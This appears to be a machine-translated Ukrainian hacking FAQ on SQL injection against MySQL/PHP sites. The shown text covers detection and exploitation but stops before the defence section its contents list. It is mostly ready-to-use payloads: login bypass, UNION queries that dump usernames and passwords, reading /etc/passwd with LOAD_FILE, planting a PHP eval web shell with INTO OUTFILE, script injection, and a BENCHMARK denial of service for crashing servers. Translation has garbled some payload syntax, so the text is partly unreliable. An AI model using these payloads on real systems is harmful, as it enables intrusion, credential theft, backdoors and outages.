SQL Injection [повний FAQ]



  • 0.INTRO
  • 1. ЯК ЗНАЙТИ SQL INJECTION
  • 2. ЩО І ЯК МОЖНА ИЗВЛЕЧЬ З ЦЬОГО КОРИСНЕ
  • 3. ЩО РОБИТИ ЯКЩО ВІДСУТНІ виведеної ПОЛЯ.
  • 4. ЩО РОБИТИ ЯКЩО ЩОСЬ фільтри.
  • 5. КОРИСНІ ФУНКЦІЇ У MYSQL
  • 6. ЯК захиститися від SQL INJECTION
  • 7. ДОПОВНЕННЯ


  • 0.INTRO


    Лазиво по інтернету в пошуках хоч якоїсь інформації по SQL injection ти напевно часто натикався на статті або дуже короткі, або не зрозумілі, або висвітлюють одну тему або ще щось які зрозуміло тебе не влаштовували. Коли то і я назбирав десь статей 10-20 по цій темі щоб вникнути в багато тонкощі цієї уразливості. І ось згадуючи ті часи вирішив написати повний FAQ по цій темі, щоб так сказати інші не мучилися. І ще одне прохання. Ті хто знайде що я щось пропустив, де то помилився і тд ласка відпишіть нижче, важко все таки, все утримати в голові :) . До речі це моя перша стаття, ласка не кидайтеся помідорами, і не штовхайте ногами.

    Не перший день захоплюючись зломом ти напевно знаєш що таке SQL injection якщо немає то я це стаття для тебе. SQL injection далі просто ін'єкція це тип атаки при якому хакером модифікується оригінальний запит до БД таким чином щоб при виконанні запиту була виведена потрібна йому інформація з БД.

    Для засвоєння цієї статті потрібно:
    а) Наявність мізків
    б) Прямі руки
    в) Знання мови SQL

    В основному ця стаття писалася як для MYSQL + PHP але є і пара прикладів з MSSQL.

    Взагалі по-моєму найкращий спосіб навчитися правильній роботі з SQL injection це не прочитання цієї статті, а жива практика, наприклад самому написати вразливий скрипт, або використовувати мій наведений в самому кінці.

    До речі раджу читати все підряд бо в кожному пункті є щось важливе для наступного пункту і т.д.

    1. ЯК ЗНАЙТИ SQL INJECTION

    Це досить таки просто. Треба вставляти в усі поля, змінні, куки подвійну і одинарні лапки.

    1.1 Другий перший

    Почнемо з ось такого скрипта

    1. Припустимо що оригінальний запит до БД виглядає так:
    SELECT * FROM news WHERE id=' 1 '; Тепер ми допишемо лапки в змінну "id", ось так - якщо змінна не фільтрується і включені повідомлення про помилки то вилізе що щось на зразок:

    mysql_query (): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1' '

    Так як в запиті до БД буде присутній зайва лапки:
    SELECT * FROM news WHERE id=' 1' '; Якщо звіт про помилки вимкнено то в даному випадку можна визначити наявність уразливості ось так (Також не завадило б це, що б не сплутати з пунктом 1.4. Як саме описано в цьому ж пункті): Тобто запит до БД стане ось таким:
    SELECT * FROM news WHERE id=' 1'; -- '; (Для тих хто в танку "-" це знак початку коментаря все після нього буде відкинуто, ще хочу звернути вашу увагу на те що після нього повинен бути обов'язково пробіл (Так написано в документації до MYSQL) і до речі перед ним теж). Таким чином для MYSQL запит залишається колишнім і відобразитися теж саме що і для http: //xxx/news.php? Id = 1
    Тому що робити з цією вразливістю присвячений весь пункт 2.

    1.2 Другий випадок

    У SQL є оператор LIKE. Він служить для порівняння рядків. Ось припустимо скрипт авторизації при введенні логіна і пароля запитує БД ось так:
    SELECT * FROM users WHERE login LIKE 'Admin' AND pass LIKE '123';

    Навіть якщо цей скрипт фільтрує лапки то все одно він залишається вразливим для ін'єкції. Нам потрібно замість пароля просто ввести "%" (Для оператора LIKE символ "%" відповідає будь-якому рядку) і тоді запит стане
    SELECT * FROM users WHERE login LIKE 'Admin' AND pass LIKE '%';

    і нас пустять усередину з логіном 'Admin'. В цьому випадку ми не тільки знайшли SQL injection а й успішно її використовували.

    1.3 Третій випадок

    Що робити якщо в тому ж скрипті авторизації відсутня перевірка на лапку. Имхо буде як мінімум нерозумно використовувати цю ін'єкцію для виведення який-небудь інформаці. Нехай запит до БД буде типу:
    SELECT * FROM users WHERE login = 'Admin' AND pass = '123';

    На жаль пароль '123' не підходить :) , Але ми знайшли ін'єкцію допустимо в секції "Тайм login 'і що б зареєструватися під ніком' Admin 'нам потрібно вписати замість нього що щось на зразок цього Admin'; - Тобто частина з перевіркою пароля відкидається і ми входимо під ніком 'Admin'.
    SELECT * FROM users WHERE login = 'Admin'; - 'AND pass =' 123 ';

    А тепер що робити якщо уразливість в поле 'pass'. Ми вписуємо в це поле наступне 123 'OR login =' Admin '; -. Запит стане таким:
    SELECT * FROM users WHERE login = 'Admin' AND pass = '123' OR login = 'Admin'; - ';

    Що для БД буде абсолютно індеінтічно таким запитом:
    SELECT * FROM users WHERE (login = 'Admin' AND pass = '123') OR (login = 'Admin');

    І після цих дій ми станемо повноправним власником акка з логіном 'Admin'.

    1.4 Четвертий випадок

    Повернемося до скрипта новин. З мови SQL ми повинні пам'ятати що числові параметри не ставляться в лапки тобто при такому зверненні до скрипту http: //xxx/news.php? Id = 1 запит до БД виглядає ось так:
    SELECT * FROM news WHERE id = 1;

    Виявити цю ін'єкцію також можна підстановкою лапки в параметр 'id' і тоді вистрибне таке ж повідомлення про помилку:

    mysql_query (): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1' '

    Якщо це повідомлення не випрігівает то можна зрозуміти що лапки фільтрується і потрібно тоді вписати http: //xxx/news.php? Id = 1 bla-bla-bla
    БД не зрозуміє шо це за бла бла бла і видасть повідомлення про помилку типу:

    mysql_query (): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1 bla-bla-bla'

    Якщо звіт про помилки вимкнено тоді перевіряємо ось так http: //xxx/news.php? Id = 1; -
    Має відобразитися точно також як і http: //xxx/news.php? Id = 1

    Тепер можна переходити до пункту 2.

    2. ЩО І ЯК МОЖНА ИЗВЛЕЧЬ З ЦЬОГО КОРИСНЕ

    Далі буде розглядатися тільки тип вразливості описаний в пункті 1.1 а переробити під інші зможете самі це не важко :)

    2.1 Команда UNION

    Для початку найкорисніше це команда UNION (хто не знає лізти в гугл) ...
    Модифікуємо звернення до скрипту http: //xxx/news.php? Id = 1 'UNION SELECT 1 -. Запит до БД у нас виходить ось таким:
    SELECT * FROM news WHERE id = '1' UNION SELECT 1 - ';


    2.1.1.1 Підбір кількості полів (Спосіб 1)

    Не забуваючи про те що кількості стовпців до UNION і після повинні відповідати напевно вилізе помилка (якщо тільки в таблиці news не одна колонка) на зразок:

    mysql_query (): The used SELECT statements have a different number of columns

    В даному випадку нам потрібно підібрати колічіство стовпців (що б їх кількість до UNION і після відповідати). Робимо це так:

    http: //xxx/news.php? id = 1 'UNION SELECT 1, 2 -
    Помилка. «The used SELECT statements have a different number of columns »

    http: //xxx/news.php? id = 1 'UNION SELECT 1,2,3 -
    Знову помилка.
    ...

    http: //xxx/news.php? id = 1 'UNION SELECT 1,2,3,4,5,6 -
    О! Відобразилося точно також як і http: //xxx/news.php? Id = 1
    значить кількість полів підібрано, тобто їх 6 штук ...


    2.1.1.2 Підбір кількості полів (Спосіб 2)

    А цей спосіб заснований на підборі кількості полів за допомогою GROUP BY. Тобто запит такого типу:

    http: //xxx/news.php? id = 1 'GROUP BY 2 -

    Підсумковий, без помилок якщо кількість полів менше або дорівнює 2.
    Робимо запит такого типу:

    http: //xxx/news.php? id = 1 'GROUP BY 10 -

    Упс ... З'явилася помилка типу.

    mysql_query (): Unknown column '10' in 'group statement'

    Значить стовпців менше ніж 10. Ділимо 10 на 2. І робимо запит

    http: //xxx/news.php? id = 1 'GROUP BY 5 -


    Опа помилки немає значить кількість стовпців більше або дорівнює 5 але менше ніж 10. Тепер беремо середнє значення між 5 і 10 це виходить начебто 7. Робимо запит:

    http: //xxx/news.php? id = 1 'GROUP BY 7 -

    Ой знову помилка ... :(

    mysql_query (): Unknown column '7' in 'group statement'

    Значить кількість більше або дорівнює 5 але менше ніж 7. Ну і далі робимо запит

    http: //xxx/news.php? id = 1 'GROUP BY 6 -

    Помилок немає ... Значить число більше або дорівнює 6 але менше ніж 7. Звідси випливає що шукане число стовпців 6.

    2.1.1.3 Підбір кількості полів (Спосіб 3)

    Той же самий принцип що і в пункті 2.1.1.2 тільки використовується функція ORDER BY. І трохи змінюється текст помилки якщо полів більше.

    mysql_query (): Unknown column '10' in 'order clause'

    2.1.2 Визначення виведених стовпців

    Я так думаю що багатьом з нас точно така сторінка як і http: //xxx/news.php? Id = 1 не влаштує. Значить нам потрібно зробити так щоб за першим запитом нічого не відображалося (до UNION). Найпростіше це поміняти "id" з '1' на '-1' (або на '9999999')
    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3,4,5,6 - Тепер у нас подекуди в сторінці повинні відобразиться якісь з цих цифр. (Наприклад так як це умовно скрипт новини то в «Назва новини» буде відображення допустимо 3, «Новина» -4 ну і тд). Тепер щоб нам отримати якусь інформацію нам потрібно замінювати ці цифри в обрщеніі до скрипту на потрібні нам функції. Якщо цифри не відобразилися ніде то інші підпункти пункту 2.1 можна пропустити.

    2.1.3 SIXSS (SQL Injection Cros Site Scripting)

    Ця таже XSS тільки через запит до бази. приклад:
    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3,' <script> alert ( 'SIXSS') </ script> ', 5,6 - Ну думаю зрозуміти не важко що 4 в сторінці заміниться на <script> alert ( 'SIXSS') </ script> і відповідно вийде таже XSS.

    2.1.4 Назви стовпців / таблиць

    Якщо ти знаєш назви таблиць і стобцов в БД цей пункт можна пропустити
    Якщо не знаєш ... Тут два шляхи.

    2.1.4.1 Назви стовпців / таблиць якщо є доступ до INFORMATION_SCHEMA і якщо версія MYSQL> = 5

    Таблиця INFORMATION_SCHEMA.TABLES містить інформацію про всіх таблицях в БД, стовпець TABLE_NAME-імена таблиць.
    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3, TABLE_NAME, 5,6 FROM INFORMATION_SCHEMA.TABLES - Ось тут може з'явиться проблема. Так як буде виводиться тільки перший рядок з відповіді БД. Тоді нам потрібно скористатися LIMIT ось так:

    Висновок першого рядка:
    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3, TABLE_NAME, 5,6 FROM INFORMATION_SCHEMA.TABLES LIMIT 1,1 -

    Висновок другий рядки:
    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3, TABLE_NAME, 5,6 FROM INFORMATION_SCHEMA.TABLES LIMIT 2,1 - і т.д.

    Ну ось ми і знайшли таблицю Users. Тільки це ... кхм ... стобци не знаємо ... Тоді до нас приходить на допомогу таблиця INFORMATION_SCHEMA.COLUMNS стовпець COLUMN_NAME містить назву стовпця в таблиці TABLE_NAME. Ось так ми витягуємо назви стовпців

    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3, COLUMN_NAME, 5,6 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME =' Users 'LIMIT 1,1 -

    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3, COLUMN_NAME, 5,6 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME =' Users 'LIMIT 2,1 -
    і т.д.

    І ось ми знайшли поля login, password.

    2.1.4.2 Назви стовпців / таблиць якщо немає доступу до INFORMATION_SCHEMA

    Це жопние варіант :( .Тут В силу вступає звичайний брутофорс ... Приклад:

    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3,4,5,6 FROM ім'я_таблиці -

    Потрібно підбирати ім'я_таблиці до тих пір поки не пропаде повідомлення про помилку типу:

    mysql_query (): Table 'ім'я_таблиці' does not exist

    Ну ввели ми до свого щастя Users пропало повідомлення про помилку, і сторінка відобразилася як при http: //xxx/news.php? Id = -1 'UNION SELECT 1,2,3,4,5,6 - що це значить ? Це означає те що существет таблиця Users і потрібно приступити до перебору стовпців.

    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3, ім'я_стовпця, 5,6 FROM Users -

    Потрібно підбирати ім'я_стовпця до тих пір поки не пропаде повідомлення про помилку типу:

    mysql_query (): Unknown column 'ім'я_стовпця' 'in' field list '

    Там де пропадає повідомлення про помилку значить такий стовпець існує.

    І ось таким чином ми дізналися що в таблиці Users є стовпці login, password.

    2.1.5 Висновок інформації

    Звернення до скрипту таким чином http: //xxx/news.php? Id = -1 'UNION SELECT 1,2, login, password, 5,6 FROM Users LIMIT 1,1 - Виводить нам логін і пароль першого користувача з таблиці Users.

    2.2 Робота з файлами

    2.2.1 Запис в файл

    Є в MYSQL така цікава функція типу SELECT ... INTO OUTFILE дозволяє записувати інформацію в файл. Або така конструкція SELECT ... INTO DUMPFILE вони майже схоже і можна використовувати будь-яку.

    Приклад: http: //xxx/news.php? Id = -1 'UNION SELECT 1,2,3,4,5,6 INTO OUTFILE' 1.txt '; -


    Для неї працює декілька обмежень.
    • Заборонений перезапісиваніе файлів
    • Потрібні привілеї типу FILE
    • (!) Обов'язково з'являться справжні кивичкі у вказівці імені файлу

    А ось що б нам заважало зробити веб йшов? Ось наприклад так:

    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3,' <? php eval ($ _ GET [ 'e'])?> ', 5,6 INTO OUTFILE' 1.php '; -

    Залишається тільки знайти повний шлях до кореня сайту на сервері і дописати його перед 1.php. Вріпрінціпе можна знайти ще одну помилку за звітом якої буде видно шлях на сервері або залишити в корені сервера і підчепити його локальним інклуд, але це вже інша тема.

    2.2.2 Читання файлів

    Розглянемо функцію LOAD_FILE

    Приклад: http: //xxx/news.php? Id = -1 'UNION SELECT 1,2, LOAD_FILE (' etc / passwd '), 4,5,6;

    Для неї є також кілька обмежень.
    • Повинен бути зазначений повний шлях до файлу.
    • Потрібні привілеї типу FILE
    • Файл повинен знаходиться на одному і тому ж сервері
    • Розмір даного файлу повинен бути менше зазначеного в max_allowed_packet
    • Файл повинен бути відкритий для читання користувачем з-під якого запущений MYSQL

    Якщо функції не вдасться прочитати файл то вона повертає NULL.

    2.3 DOS атака на SQL сервер

    У більшості випадків SQL сервер досят через те що більше нічого зробити не можуть. Типу не вийшло дізнатися таблиці / стовпці, немає прав на це, немає прав на то і т.д. Я чесно кажучи проти цього методу але все таки ...

    Ближче до діла…
    Функція BENCHMARK виконує одне і теж дія кілька разів.
    SELECT BENCHMARK (100000, md5 (current_time));

    Тобто тут ця функція 100000 разів робить md5 (current_time) що у мене на компі займає приблизно 0.7 секунди ... Здавалося що тут такого ... А якщо спробувати вкладений BENCHMARK?

    SELECT BENCHMARK (100000, BENCHMARK (100000, md5 (current_time)));

    Виконується дуже довго чесно кажучи я навіть не дочекався ... довелося робити reset :) .
    Приклад Доса в нашому випадку:

    http: //xxx/news.php? id = -1 'UNION SELECT 1, 2, BENCHMARK (100000, BENCHMARK (100000, md5 (current_time))), 4, 5, 6; -

    Досить раз 100 потикати F5 і «сервер впаде в безпробудний даун»))).